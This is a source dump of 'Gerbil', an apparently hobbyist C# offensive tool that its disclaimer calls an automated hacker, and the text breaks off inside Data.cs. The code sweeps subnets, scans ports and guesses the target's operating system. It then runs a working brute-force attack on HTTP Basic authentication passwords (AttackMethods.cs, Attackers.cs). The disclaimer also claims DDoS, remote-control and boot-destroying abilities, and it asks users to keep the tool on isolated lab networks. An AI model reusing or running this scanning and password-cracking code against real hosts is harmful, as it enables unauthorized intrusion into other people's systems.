├── .gitattributes
├── .gitignore
├── .nuget
└── packages.config
├── App.config
├── AttackMethods.cs
├── Attackers.cs
├── CONTRIBUTING.md
├── CONTRIBUTORS.md
├── DISCLAIMER.md
├── Data.cs
├── DeviceModels.cs
├── Engine.cs
├── Gerbil.csproj
├── Gerbil.sln
├── GerbilGui.Designer.cs
├── GerbilGui.cs
├── GerbilGui.resx
├── GerbilTest
├── GerbilTest.csproj
├── Properties
│ └── AssemblyInfo.cs
└── UnitTest1.cs
├── Gerbil_Config.cs
├── IO.cs
├── LICENSE
├── NeuralNetwork.cs
├── PasswordServices.cs
├── PortServices.cs
├── Program.cs
├── Properties
└── AssemblyInfo.cs
├── README.md
├── Ringleaders.cs
├── Scanners.cs
└── appveyor.yml
/.gitattributes:
--------------------------------------------------------------------------------
1 | ###############################################################################
2 | # Set default behavior to automatically normalize line endings.
3 | ###############################################################################
4 | * text=auto
5 |
6 | ###############################################################################
7 | # Set default behavior for command prompt diff.
8 | #
9 | # This is need for earlier builds of msysgit that does not have it on by
10 | # default for csharp files.
11 | # Note: This is only used by command line
12 | ###############################################################################
13 | #*.cs diff=csharp
14 |
15 | ###############################################################################
16 | # Set the merge driver for project and solution files
17 | #
18 | # Merging from the command prompt will add diff markers to the files if there
19 | # are conflicts (Merging from VS is not affected by the settings below, in VS
20 | # the diff markers are never inserted). Diff markers may cause the following
21 | # file extensions to fail to load in VS. An alternative would be to treat
22 | # these files as binary and thus will always conflict and require user
23 | # intervention with every merge. To do so, just uncomment the entries below
24 | ###############################################################################
25 | #*.sln merge=binary
26 | #*.csproj merge=binary
27 | #*.vbproj merge=binary
28 | #*.vcxproj merge=binary
29 | #*.vcproj merge=binary
30 | #*.dbproj merge=binary
31 | #*.fsproj merge=binary
32 | #*.lsproj merge=binary
33 | #*.wixproj merge=binary
34 | #*.modelproj merge=binary
35 | #*.sqlproj merge=binary
36 | #*.wwaproj merge=binary
37 |
38 | ###############################################################################
39 | # behavior for image files
40 | #
41 | # image files are treated as binary by default.
42 | ###############################################################################
43 | #*.jpg binary
44 | #*.png binary
45 | #*.gif binary
46 |
47 | ###############################################################################
48 | # diff behavior for common document formats
49 | #
50 | # Convert binary document formats to text before diffing them. This feature
51 | # is only available from the command line. Turn it on by uncommenting the
52 | # entries below.
53 | ###############################################################################
54 | #*.doc diff=astextplain
55 | #*.DOC diff=astextplain
56 | #*.docx diff=astextplain
57 | #*.DOCX diff=astextplain
58 | #*.dot diff=astextplain
59 | #*.DOT diff=astextplain
60 | #*.pdf diff=astextplain
61 | #*.PDF diff=astextplain
62 | #*.rtf diff=astextplain
63 | #*.RTF diff=astextplain
64 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 |
4 | # User-specific files
5 | *.suo
6 | *.user
7 | *.userosscache
8 | *.sln.docstates
9 |
10 | # User-specific files (MonoDevelop/Xamarin Studio)
11 | *.userprefs
12 |
13 | # Build results
14 | [Dd]ebug/
15 | [Dd]ebugPublic/
16 | [Rr]elease/
17 | [Rr]eleases/
18 | x64/
19 | x86/
20 | build/
21 | bld/
22 | [Bb]in/
23 | [Oo]bj/
24 |
25 | # Visual Studo 2015 cache/options directory
26 | .vs/
27 |
28 | # MSTest test Results
29 | [Tt]est[Rr]esult*/
30 | [Bb]uild[Ll]og.*
31 |
32 | # NUNIT
33 | *.VisualState.xml
34 | TestResult.xml
35 |
36 | # Build Results of an ATL Project
37 | [Dd]ebugPS/
38 | [Rr]eleasePS/
39 | dlldata.c
40 |
41 | *_i.c
42 | *_p.c
43 | *_i.h
44 | *.ilk
45 | *.meta
46 | *.obj
47 | *.pch
48 | *.pdb
49 | *.pgc
50 | *.pgd
51 | *.rsp
52 | *.sbr
53 | *.tlb
54 | *.tli
55 | *.tlh
56 | *.tmp
57 | *.tmp_proj
58 | *.log
59 | *.vspscc
60 | *.vssscc
61 | .builds
62 | *.pidb
63 | *.svclog
64 | *.scc
65 |
66 | # Chutzpah Test files
67 | _Chutzpah*
68 |
69 | # Visual C++ cache files
70 | ipch/
71 | *.aps
72 | *.ncb
73 | *.opensdf
74 | *.sdf
75 | *.cachefile
76 |
77 | # Visual Studio profiler
78 | *.psess
79 | *.vsp
80 | *.vspx
81 |
82 | # TFS 2012 Local Workspace
83 | $tf/
84 |
85 | # Guidance Automation Toolkit
86 | *.gpState
87 |
88 | # ReSharper is a .NET coding add-in
89 | _ReSharper*/
90 | *.[Rr]e[Ss]harper
91 | *.DotSettings.user
92 |
93 | # JustCode is a .NET coding addin-in
94 | .JustCode
95 |
96 | # TeamCity is a build add-in
97 | _TeamCity*
98 |
99 | # DotCover is a Code Coverage Tool
100 | *.dotCover
101 |
102 | # NCrunch
103 | _NCrunch_*
104 | .*crunch*.local.xml
105 |
106 | # MightyMoose
107 | *.mm.*
108 | AutoTest.Net/
109 |
110 | # Web workbench (sass)
111 | .sass-cache/
112 |
113 | # Installshield output folder
114 | [Ee]xpress/
115 |
116 | # DocProject is a documentation generator add-in
117 | DocProject/buildhelp/
118 | DocProject/Help/*.HxT
119 | DocProject/Help/*.HxC
120 | DocProject/Help/*.hhc
121 | DocProject/Help/*.hhk
122 | DocProject/Help/*.hhp
123 | DocProject/Help/Html2
124 | DocProject/Help/html
125 |
126 | # Click-Once directory
127 | publish/
128 |
129 | # Publish Web Output
130 | *.[Pp]ublish.xml
131 | *.azurePubxml
132 | # TODO: Comment the next line if you want to checkin your web deploy settings
133 | # but database connection strings (with potential passwords) will be unencrypted
134 | *.pubxml
135 | *.publishproj
136 |
137 | # NuGet Packages
138 | *.nupkg
139 | # The packages folder can be ignored because of Package Restore
140 | **/packages/*
141 | # except build/, which is used as an MSBuild target.
142 | !**/packages/build/
143 | # Uncomment if necessary however generally it will be regenerated when needed
144 | #!**/packages/repositories.config
145 |
146 | # Windows Azure Build Output
147 | csx/
148 | *.build.csdef
149 |
150 | # Windows Store app package directory
151 | AppPackages/
152 |
153 | # Others
154 | *.[Cc]ache
155 | ClientBin/
156 | [Ss]tyle[Cc]op.*
157 | ~$*
158 | *~
159 | *.dbmdl
160 | *.dbproj.schemaview
161 | *.pfx
162 | *.publishsettings
163 | node_modules/
164 | bower_components/
165 |
166 | # RIA/Silverlight projects
167 | Generated_Code/
168 |
169 | # Backup & report files from converting an old project file
170 | # to a newer Visual Studio version. Backup files are not needed,
171 | # because we have git ;-)
172 | _UpgradeReport_Files/
173 | Backup*/
174 | UpgradeLog*.XML
175 | UpgradeLog*.htm
176 |
177 | # SQL Server files
178 | *.mdf
179 | *.ldf
180 |
181 | # Business Intelligence projects
182 | *.rdl.data
183 | *.bim.layout
184 | *.bim_*.settings
185 |
186 | # Microsoft Fakes
187 | FakesAssemblies/
188 |
189 | # Node.js Tools for Visual Studio
190 | .ntvs_analysis.dat
191 |
192 | # Visual Studio 6 build log
193 | *.plg
194 |
195 | # Visual Studio 6 workspace options file
196 | *.opt
197 |
--------------------------------------------------------------------------------
/.nuget/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/AttackMethods.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Net;
3 | using System.Collections.Generic;
4 | using System.Linq;
5 | using Gerbil.IO;
6 | using Gerbil.Data;
7 | using System.Threading.Tasks;
8 |
9 | namespace Gerbil
10 | {
11 | public class AttackMethods
12 | {
13 | private static int maxAddressField(char placeholder, string subnet)
14 | {
15 | int counter = charCount(placeholder, subnet);
16 | if(counter > 3)
17 | {
18 | throw new Exception();
19 | }
20 | else if(counter == 3)
21 | {
22 | return 255;
23 | }
24 | else if(counter == 2)
25 | {
26 | return 99;
27 | }
28 | else if(counter == 1)
29 | {
30 | return 9;
31 | }
32 | else
33 | {
34 | throw new Exception();
35 | }
36 | }
37 | private static int charCount(char character, string scanner)
38 | {
39 | int counter = 0;
40 | for (int i = 0; i < scanner.Length; i++)
41 | {
42 | if (scanner.ToCharArray()[i] == character)
43 | {
44 | counter++;
45 | }
46 | }
47 | return counter;
48 | }
49 | private static string replaceFirst(char indicator, string scanner)
50 | {
51 | int index = scanner.IndexOf(indicator);
52 | int end = scanner.LastIndexOf(indicator);
53 | string variableField = scanner.Substring(index, end - index + 1);
54 | scanner = scanner.Replace(variableField, indicator.ToString());
55 | return scanner;
56 | }
57 | ///
58 | /// Launches an attack on the entire network.
59 | ///
60 | public static void begin_auto(string subnet, int timeout)
61 | {
62 | // Scan for devices on network
63 | Out.writeln("Scanning for devices...");
64 | Database deviceDB = new Database("Device DB");
65 | if(subnet.Contains("z"))
66 | {
67 | int zCount = maxAddressField('z', subnet);
68 | int yCount = maxAddressField('y', subnet);
69 | int xCount = maxAddressField('x', subnet);
70 | subnet = replaceFirst('x', replaceFirst('y', replaceFirst('z', subnet)));
71 |
72 | for(int z = 0; z <= zCount; z++)
73 | {
74 | string zMod = subnet.Replace("z", z.ToString());
75 | for(int y = 0; y <= yCount; y++)
76 | {
77 | string yMod = zMod.Replace("y", y.ToString());
78 | Out.writeln("Searching " + yMod + " subnet...");
79 | foreach (string i in Gerbil_Scanners.NetworkScanner.getDevices(yMod, timeout, xCount))
80 | {
81 | Data.Models.Devices.Device device = new Data.Models.Devices.Device(IPAddress.Parse(i));
82 | deviceDB.Create(device);
83 | }
84 | }
85 | }
86 | }
87 | else if(subnet.Contains("y"))
88 | {
89 | int yCount = maxAddressField('y', subnet);
90 | int xCount = maxAddressField('x', subnet);
91 | subnet = replaceFirst('x', replaceFirst('y', subnet));
92 |
93 | for (int y = 0; y <= yCount; y++)
94 | {
95 | string yMod = subnet.Replace("y", y.ToString());
96 | Out.writeln("Searching " + yMod + " subnet...");
97 | foreach (string i in Gerbil_Scanners.NetworkScanner.getDevices(yMod, timeout, xCount))
98 | {
99 | Data.Models.Devices.Device device = new Data.Models.Devices.Device(IPAddress.Parse(i));
100 | deviceDB.Create(device);
101 | }
102 | }
103 | }
104 | else
105 | {
106 | Out.writeln("Searching " + subnet + " subnet...");
107 | int xCount = maxAddressField('x', subnet);
108 | subnet = replaceFirst('x', subnet);
109 |
110 | foreach (string i in Gerbil_Scanners.NetworkScanner.getDevices(subnet, timeout, xCount))
111 | {
112 | Data.Models.Devices.Device device = new Data.Models.Devices.Device(IPAddress.Parse(i));
113 | deviceDB.Create(device);
114 | }
115 | }
116 |
117 | // Loop system scan on all responding systems
118 | foreach(string address in deviceDB.getAllIDs())
119 | {
120 | Task.Factory.StartNew(() => attackDeviceAuto(ref deviceDB, address, timeout));
121 | }
122 | }
123 | private static void attackDeviceAuto(ref Database DBref, string devID, int pingTimeout)
124 | {
125 | Out.blank();
126 | // Get data from DB
127 | string address = DBref.Read(devID).getDeviceIPAddress().ToString();
128 | // Scan device for open ports
129 | Out.writeln("Probing known ports on " + address + "...");
130 | int[] knownPorts = Gerbil_PortServices.PortLookup.getPorts();
131 | List tempFoundPorts = new List();
132 | foreach (int i in knownPorts)
133 | {
134 | if (Gerbil_Scanners.PortScanner.scan(address, i, pingTimeout))
135 | {
136 | tempFoundPorts.Add(i);
137 | Out.writeln(i + ": OPEN");
138 | }
139 | else
140 | {
141 | Out.writeln(i + ": CLOSED");
142 | }
143 | }
144 | int[] openPorts = tempFoundPorts.ToArray();
145 | if (openPorts.Length == 0)
146 | {
147 | Out.writeln("No open ports found for the specified host and port range.");
148 | return;
149 | }
150 | // Get list of services
151 | Out.writeln("Looking up port definitions...");
152 | string[] openServices = Gerbil_PortServices.PortLookup.getServices(openPorts);
153 | if (openServices.Length > 0)
154 | {
155 | Out.writeln("Found service: ");
156 | foreach (string i in openServices)
157 | {
158 | Out.writeln(i);
159 | }
160 | }
161 | else
162 | {
163 | Out.writeln("No known services found in AI store. Add them manually using 'portservice add serviceName portNumber'");
164 | return;
165 | }
166 | if (openServices.Contains("NETBIOS"))
167 | {
168 | string devName = "";
169 | devName = Dns.GetHostEntry(address).HostName;
170 | Out.writeln("NETBIOS Name: " + devName);
171 | }
172 | // Forward found services to the AI engine and get server OS
173 | //TODO: forward training mode parameter
174 | Gerbil_Engine.NetworkResult osr = Gerbil_Engine.GerbilRunner.guessOS(openServices, true);
175 | float ct = osr.getCertainty();
176 | ct = ct * 1000.0f;
177 | Out.writeln("OS Guess: " + osr.getName());
178 | Out.writeln(String.Format("Certainty: {0:F2}%", osr.getCertainty()));
179 | // Guess more data based on running services
180 | // HTTP
181 | if (openServices.Contains("HTTP"))
182 | {
183 | // Attempt an HTTP attack
184 | if (In.securePrompt("AttackMethods", "HTTP Auth Password Crack"))
185 | {
186 | int pLength = In.prompt("Maximum length of password");
187 | Out.writeln("Cracking password...");
188 | Gerbil.Attackers.HTTPAuthAttacker HAA = new Attackers.HTTPAuthAttacker(address, pLength);
189 | while (true)
190 | {
191 | Out.write("*");
192 | Gerbil.Attackers.AttackerResult AR;
193 | try
194 | {
195 | AR = HAA.stab();
196 | }
197 | catch
198 | {
199 | // Error occured, break.
200 | break;
201 | }
202 | if (AR == Attackers.AttackerResult.Trying)
203 | {
204 | // Continue
205 | }
206 | else if (AR == Attackers.AttackerResult.FailedAuth || AR == Attackers.AttackerResult.FailedConnection)
207 | {
208 | Out.writeln("\nFailed to crack password using given parameters.");
209 | break;
210 | }
211 | else if (AR == Attackers.AttackerResult.Connected)
212 | {
213 | Out.blank();
214 | Out.writeln(String.Format("CRACKED: Password is \"{0}\".", HAA.getAccessString()));
215 | break;
216 | }
217 | }
218 | }
219 | }
220 | }
221 | ///
222 | /// Launches an attack on a specific IP address.
223 | ///
224 | /// IP address or relative hostname to target.
225 | public static void begin(string ipAddress, int timeout)
226 | {
227 | // Scan device for open ports
228 | Out.writeln("Probing ports...");
229 | int[] openPorts = Gerbil_Scanners.PortScanner.scan(ipAddress, 0, 1000, timeout);
230 | if (openPorts.Length > 0)
231 | {
232 | for (int i = 0; i < openPorts.Length; i++)
233 | {
234 | Out.writeln("Found port: " + openPorts[i]);
235 | }
236 | }
237 | else
238 | {
239 | Out.writeln("No open ports found for the specified host and port range.");
240 | return;
241 | }
242 | // Get list of services
243 | Out.writeln("Looking up port definitions...");
244 | string[] openServices = Gerbil_PortServices.PortLookup.getServices(openPorts);
245 | if (openServices.Length > 0)
246 | {
247 | Out.writeln("Found service: ");
248 | foreach (string i in openServices)
249 | {
250 | Out.writeln(i);
251 | }
252 | }
253 | else
254 | {
255 | Out.writeln("No known services found in AI store. Add them manually using 'portservice add serviceName portNumber'");
256 | return;
257 | }
258 | // Generate server information using AI engine
259 | if (openServices.Contains("NETBIOS"))
260 | {
261 | string devName = "";
262 | devName = Dns.GetHostEntry(ipAddress).HostName;
263 | Out.writeln("NETBIOS Name: " + devName);
264 | }
265 | // Forward found services to the AI engine and get server OS
266 | //TODO: forward training parameter
267 | Gerbil_Engine.NetworkResult osr = Gerbil_Engine.GerbilRunner.guessOS(openServices, true);
268 | float ct = osr.getCertainty();
269 | ct = ct * 10.0f;
270 | Out.writeln("OS Guess: " + osr.getName());
271 | Out.writeln(String.Format("Certainty: {0:F2}%", osr.getCertainty()));
272 | // Guess more data based on running services
273 | // HTTP
274 | if (openServices.Contains("HTTP"))
275 | {
276 | // Attempt an HTTP attack
277 | if (In.securePrompt("Pathfinder", "HTTP Auth Password Crack"))
278 | {
279 | int pLength = In.prompt("Maximum length of password");
280 | Out.writeln("Cracking password...");
281 | Gerbil.Attackers.HTTPAuthAttacker HAA = new Attackers.HTTPAuthAttacker(ipAddress, pLength);
282 | while (true)
283 | {
284 | Out.write("*");
285 | Gerbil.Attackers.AttackerResult AR;
286 | try
287 | {
288 | AR = HAA.stab();
289 | }
290 | catch(Exception e)
291 | {
292 | // Error occured, break.
293 | break;
294 | }
295 | if (AR == Attackers.AttackerResult.Trying)
296 | {
297 | // Continue
298 | }
299 | else if(AR == Attackers.AttackerResult.FailedAuth || AR == Attackers.AttackerResult.FailedConnection)
300 | {
301 | Out.writeln("\nFailed to crack password using given parameters.");
302 | break;
303 | }
304 | else if (AR == Attackers.AttackerResult.Connected)
305 | {
306 | Out.blank();
307 | Out.writeln(String.Format("CRACKED: Password is \"{0}\".", HAA.getAccessString()));
308 | break;
309 | }
310 | }
311 | }
312 | }
313 | // Launch attacks
314 | }
315 | ///
316 | /// Launches an attack on a specific machine and port.
317 | ///
318 | /// IP address or relative hostname of target.
319 | /// Port to scan for vulnerable services.
320 | public static void begin(string ipAddress, int port, int timeout)
321 | {
322 | // Scan device for open ports
323 | Out.writeln("Probing port...");
324 | /*if (Gerbil_Scanners.PortScanner.scan(ipAddress, port, timeout))
325 | {
326 | Out.writeln("No open ports found for the specified host and port range.");
327 | return;
328 | }*****/
329 | // Get list of services
330 | Out.writeln("Looking up port definitions...");
331 | int[] openPorts = { port };
332 | string[] openServices = Gerbil_PortServices.PortLookup.getServices(openPorts);
333 | if (openServices.Length > 0)
334 | {
335 | Out.writeln("Found service: ");
336 | foreach (string i in openServices)
337 | {
338 | Out.writeln(i);
339 | }
340 | }
341 | else
342 | {
343 | Out.writeln("No known services found in AI store. Add them manually using 'portservice add serviceName portNumber'");
344 | return;
345 | }
346 | // Generate server information using AI engine
347 | // Finalize using SNMP
348 | // HTTP
349 | if (openServices.Contains("HTTP"))
350 | {
351 | // Attempt an HTTP attack
352 | if (In.securePrompt("Pathfinder", "HTTP Auth Password Crack"))
353 | {
354 | int pLength = In.prompt("Maximum length of password");
355 | Out.writeln("Cracking password...");
356 | Gerbil.Attackers.HTTPAuthAttacker HAA = new Attackers.HTTPAuthAttacker(ipAddress, pLength);
357 | while (true)
358 | {
359 | Out.write("*");
360 | Gerbil.Attackers.AttackerResult AR;
361 | try
362 | {
363 | AR = HAA.stab();
364 | }
365 | catch (Exception e)
366 | {
367 | // Error occured, break.
368 | break;
369 | }
370 | if (AR == Attackers.AttackerResult.Trying)
371 | {
372 | // Continue
373 | }
374 | else if (AR == Attackers.AttackerResult.FailedAuth || AR == Attackers.AttackerResult.FailedConnection)
375 | {
376 | Out.writeln("\nFailed to crack password using given parameters.");
377 | break;
378 | }
379 | else if (AR == Attackers.AttackerResult.Connected)
380 | {
381 | Out.blank();
382 | Out.writeln(String.Format("CRACKED: Password is \"{0}\".", HAA.getAccessString()));
383 | break;
384 | }
385 | }
386 | }
387 | }
388 | // Launch attacks
389 | }
390 | ///
391 | /// Launches an attack on a specific machine and port range.
392 | ///
393 | /// IP address or relative hostname to target.
394 | /// Port to start scanning on.
395 | /// Port to stop scanning on.
396 | public static void begin(string ipAddress, int sPort, int ePort, int timeout)
397 | {
398 | // Scan device for open ports
399 | Out.writeln("Probing ports...");
400 | int[] openPorts = Gerbil_Scanners.PortScanner.scan(ipAddress, sPort, ePort, timeout);
401 | if (openPorts.Length > 0)
402 | {
403 | for (int i = 0; i < openPorts.Length; i++)
404 | {
405 | Out.writeln("Found port: " + openPorts[i]);
406 | }
407 | }
408 | else
409 | {
410 | Out.writeln("No open ports found for the specified host and port range.");
411 | return;
412 | }
413 | // Get list of services
414 | Out.writeln("Looking up port definitions...");
415 | string[] openServices = Gerbil_PortServices.PortLookup.getServices(openPorts);
416 | if (openServices.Length > 0)
417 | {
418 | Out.writeln("Found service: ");
419 | foreach (string i in openServices)
420 | {
421 | Out.writeln(i);
422 | }
423 | }
424 | else
425 | {
426 | Out.writeln("No known services found in AI store. Add them manually using 'portservice add serviceName portNumber'");
427 | return;
428 | }
429 | // Generate server information using AI engine
430 | // Finalize using SNMP
431 | // HTTP
432 | if (openServices.Contains("HTTP"))
433 | {
434 | // Attempt an HTTP attack
435 | if (In.securePrompt("Pathfinder", "HTTP Auth Password Crack"))
436 | {
437 | int pLength = In.prompt("Maximum length of password");
438 | Out.writeln("Cracking password...");
439 | Gerbil.Attackers.HTTPAuthAttacker HAA = new Attackers.HTTPAuthAttacker(ipAddress, pLength);
440 | while (true)
441 | {
442 | Out.write("*");
443 | Gerbil.Attackers.AttackerResult AR;
444 | try
445 | {
446 | AR = HAA.stab();
447 | }
448 | catch (Exception e)
449 | {
450 | // Error occured, break.
451 | break;
452 | }
453 | if (AR == Attackers.AttackerResult.Trying)
454 | {
455 | // Continue
456 | }
457 | else if (AR == Attackers.AttackerResult.FailedAuth || AR == Attackers.AttackerResult.FailedConnection)
458 | {
459 | Out.writeln("\nFailed to crack password using given parameters.");
460 | break;
461 | }
462 | else if (AR == Attackers.AttackerResult.Connected)
463 | {
464 | Out.blank();
465 | Out.writeln(String.Format("CRACKED: Password is \"{0}\".", HAA.getAccessString()));
466 | break;
467 | }
468 | }
469 | }
470 | }
471 | // Launch attacks
472 | }
473 | ///
474 | /// Launches an attack on a specific machine and port range in training mode.
475 | ///
476 | /// IP address or local hostname to target.
477 | /// Port to start scanning on.
478 | /// Port to stop scanning on.
479 | /// Training mode.
480 | public static void begin(string ipAddress, int sPort, int ePort, int timeout, bool training)
481 | {
482 | //TODO: add training mode method calls
483 |
484 | // Scan device for open ports
485 | Out.writeln("Probing ports...");
486 | int[] openPorts = Gerbil_Scanners.PortScanner.scan(ipAddress, sPort, ePort, timeout);
487 | if (openPorts.Length > 0)
488 | {
489 | for (int i = 0; i < openPorts.Length; i++)
490 | {
491 | Out.writeln("Found port: " + openPorts[i]);
492 | }
493 | }
494 | else
495 | {
496 | Out.writeln("No open ports found for the specified host and port range.");
497 | return;
498 | }
499 | // Get list of services
500 | Out.writeln("Looking up port definitions...");
501 | string[] openServices = Gerbil_PortServices.PortLookup.getServices(openPorts);
502 | if (openServices.Length > 0)
503 | {
504 | Out.writeln("Found service: ");
505 | foreach (string i in openServices)
506 | {
507 | Out.writeln(i);
508 | }
509 | }
510 | else
511 | {
512 | Out.writeln("No known services found in AI store. Add them manually using 'portservice add serviceName portNumber'");
513 | return;
514 | }
515 | // Generate server information using AI engine
516 | // Finalize using SNMP
517 | // Launch attacks
518 | }
519 | }
520 | }
521 |
--------------------------------------------------------------------------------
/Attackers.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 | using System.IO;
7 | using System.Net.Sockets;
8 | using System.Globalization;
9 | using System.Net;
10 | using Gerbil;
11 |
12 | namespace Gerbil
13 | {
14 | namespace Attackers
15 | {
16 | public enum AttackerResult
17 | {
18 | Created,
19 | Initialized,
20 | FailedAuth,
21 | FailedConnection,
22 | Trying,
23 | Connected,
24 | Penetrated
25 | };
26 | public class AttackerNotInitializedException : Exception
27 | {
28 |
29 | }
30 | public class AttackerNoTargetFoundException : Exception
31 | {
32 |
33 | }
34 | public class AttackerAttemptsExhaustedException : Exception
35 | {
36 |
37 | }
38 | public class AttackerAlreadyPenetratedException : Exception
39 | {
40 |
41 | }
42 | public partial class Attacker
43 | {
44 | protected AttackerResult attackerStatus;
45 |
46 | ///
47 | /// Constructor for Attacker class
48 | ///
49 | public Attacker()
50 | {
51 | attackerStatus = AttackerResult.Created;
52 | }
53 | ///
54 | /// Performs initializing commands for attacker
55 | ///
56 | public virtual void init()
57 | {
58 | attackerStatus = AttackerResult.Initialized;
59 | }
60 | ///
61 | /// Attacks the given client, will only attempt once
62 | ///
63 | public virtual AttackerResult stab()
64 | {
65 | return new AttackerResult();
66 | }
67 | ///
68 | /// Deletes all evidence and closes connection to target
69 | ///
70 | public virtual void clean()
71 | {
72 | if (attackerStatus == AttackerResult.Created)
73 | {
74 | throw new AttackerNotInitializedException();
75 | }
76 | else if (attackerStatus == AttackerResult.FailedConnection)
77 | {
78 | throw new AttackerNoTargetFoundException();
79 | }
80 | }
81 | }
82 | public class HTTPAuthAttacker : Attacker
83 | {
84 | private string target;
85 | private string foundPassword;
86 | private PasswordServices.SimplePasswordCracker cracker;
87 |
88 | public HTTPAuthAttacker(string targetURI, int maxCrackLength)
89 | : base()
90 | {
91 | target = targetURI;
92 | cracker = new PasswordServices.SimplePasswordCracker(maxCrackLength);
93 | }
94 | public override AttackerResult stab()
95 | {
96 | bool authSuccessful = false;
97 | string password;
98 | try
99 | {
100 | password = cracker.getNextKey();
101 | }
102 | catch (PasswordServices.PasswordTableExhaustedException e)
103 | {
104 | return AttackerResult.FailedAuth;
105 | }
106 | authSuccessful = httpLogin("http://" + target, "", password);
107 | if (authSuccessful)
108 | {
109 | foundPassword = password;
110 | return AttackerResult.Connected;
111 | }
112 | else
113 | {
114 | return AttackerResult.Trying;
115 | }
116 | }
117 | public string getAccessString()
118 | {
119 | return foundPassword;
120 | }
121 | private bool httpLogin(string url, string username, string password)
122 | {
123 | HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url);
124 |
125 | request.Method = "GET";
126 | request.UseDefaultCredentials = false;
127 | request.PreAuthenticate = true;
128 | request.UserAgent = "netscape11";
129 | request.Credentials = new NetworkCredential(username, password);
130 | request.Headers.Add("Authorization", "Basic " + Convert.ToBase64String(new ASCIIEncoding().GetBytes(username + ":" + password)));
131 | // create request
132 | HttpWebResponse response;
133 | try
134 | {
135 | // get response
136 | response = (HttpWebResponse)request.GetResponse();
137 | }
138 | catch (WebException ex)
139 | {
140 | if (((HttpWebResponse)ex.Response).StatusCode == HttpStatusCode.Unauthorized)
141 | {
142 | return false;
143 | }
144 | else
145 | {
146 | // TODO: Add new specific exception here
147 | throw new Exception();
148 | }
149 | }
150 | bool isForbidden = false;
151 | string rBody = new StreamReader(response.GetResponseStream()).ReadToEnd();
152 | //string hBody = response.GetResponseHeader();
153 | if (rBody.Contains("401"))
154 | {
155 | isForbidden = true;
156 | }
157 | //if (hBody.Contains("401"))
158 | //{
159 | // isForbidden = false;
160 | //}
161 |
162 | // verify response
163 | if (response.StatusCode == HttpStatusCode.OK && !isForbidden)
164 | {
165 | return true;
166 | }
167 | else
168 | {
169 | return false;
170 | }
171 | }
172 | }
173 | public class WoLAttacker : Attacker
174 | {
175 | private string MACaddress;
176 |
177 | public WoLAttacker(string MacAddr)
178 | : base()
179 | {
180 | MACaddress = MacAddr;
181 | }
182 | public override AttackerResult stab()
183 | {
184 | //Send network adapter MAC address over UDP 16 times
185 | // Prep input parameters
186 | if (MACaddress.Contains(':'))
187 | {
188 | MACaddress = MACaddress.Replace(":", "");
189 | }
190 | ///////////////////////////////////////////////////////////////////////
191 | // Segments of code were copied from: //
192 | // http://www.codeproject.com/Articles/5315/Wake-On-Lan-sample-for-C //
193 | ///////////////////////////////////////////////////////////////////////
194 | WOLClass client = new WOLClass();
195 | client.Connect(new
196 | IPAddress(0xffffffff), //255.255.255.255 i.e broadcast
197 | 0x2fff); // port=12287 let's use this one
198 | client.SetClientToBrodcastMode();
199 | //set sending bites
200 | int counter = 0;
201 | //buffer to be send
202 | byte[] bytes = new byte[1024]; // more than enough :-)
203 | //first 6 bytes should be 0xFF
204 | for (int y = 0; y < 6; y++)
205 | bytes[counter++] = 0xFF;
206 | //now repeate MAC 16 times
207 | for (int y = 0; y < 16; y++)
208 | {
209 | int i = 0;
210 | for (int z = 0; z < 6; z++)
211 | {
212 | bytes[counter++] =
213 | byte.Parse(MACaddress.Substring(i, 2),
214 | NumberStyles.HexNumber);
215 | i += 2;
216 | }
217 | }
218 | //now send wake up packet
219 | int reterned_value = client.Send(bytes, 1024);
220 | return attackerStatus;
221 | }
222 | //we derive our class from a standard one
223 | private class WOLClass : UdpClient
224 | {
225 | public WOLClass()
226 | : base()
227 | { }
228 | //this is needed to send broadcast packet
229 | public void SetClientToBrodcastMode()
230 | {
231 | if (this.Active)
232 | this.Client.SetSocketOption(SocketOptionLevel.Socket,
233 | SocketOptionName.Broadcast, 0);
234 | }
235 | }
236 | //now use this class
237 | //MAC_ADDRESS should look like '013FA049'
238 | }
239 | }
240 | }
241 |
--------------------------------------------------------------------------------
/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | # Contributing
2 | ## Making changes
3 | Please make desired changes on a fork on your own GitHub account. Please neatly document your code and commit messages. The cleaner it is, the quicker your PR will be accepted.
4 |
5 | ## Submitting PRs
6 | When you submit a pull request, our automated continous integration system will test your code. Your code will not be approved until all tests pass. Please make sure that you submit a PR to merge with the ***dev*** branch.
7 |
--------------------------------------------------------------------------------
/CONTRIBUTORS.md:
--------------------------------------------------------------------------------
1 | Here's to all the great developers that made this program possible!
2 |
3 | - @ARMmaster17
4 |
--------------------------------------------------------------------------------
/DISCLAIMER.md:
--------------------------------------------------------------------------------
1 | # Legal Disclaimer
2 | This program is intended to be a fully featured automated hacker. As such, it has the ability to DDoS your network, remote control network workstations/computers, knock down firewalls and other blockades, and destroy the boot code on your hard drive. Because Gerbil contains this functionality, it is imperative that you understand that ***NO AUTHORS ASSUME ANY RESPONSIBILITY FOR WHAT THIS PROGRAM DOES***.
3 |
4 | This program does contain an untrained AI engine. As such its actions are unpredictable because they depend on the quality of the training data. Because this creates an unaccountable "black box", no authors assume any responsibility for the decisions made by the AI engine.
5 |
6 | It is 100% your responsibility to make sure that you only run Gerbil on a protected lab subnet that is protected from the rest of your network. One suggestion we offer is a simple VM network. As long as you input your parameters correctly, Gerbil will only attack the virtual machines, of which can be disposed of/reset when you are done.
7 |
8 | By downloading/compiling and using Gerbil, you are agreeing to these terms. This document must be made available with any vanilla or modified distribution of Gerbil.
9 |
10 | *Last updated 10/28/2015*
11 |
--------------------------------------------------------------------------------
/Data.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 |
4 | namespace Gerbil
5 | {
6 | namespace Data
7 | {
8 | namespace Models
9 | {
10 | public partial class Model
11 | {
12 | public Model()
13 | {
14 |
15 | }
16 | public virtual DataActionResult Read()
17 | {
18 | return new DataActionResult(DataResult.unknown);
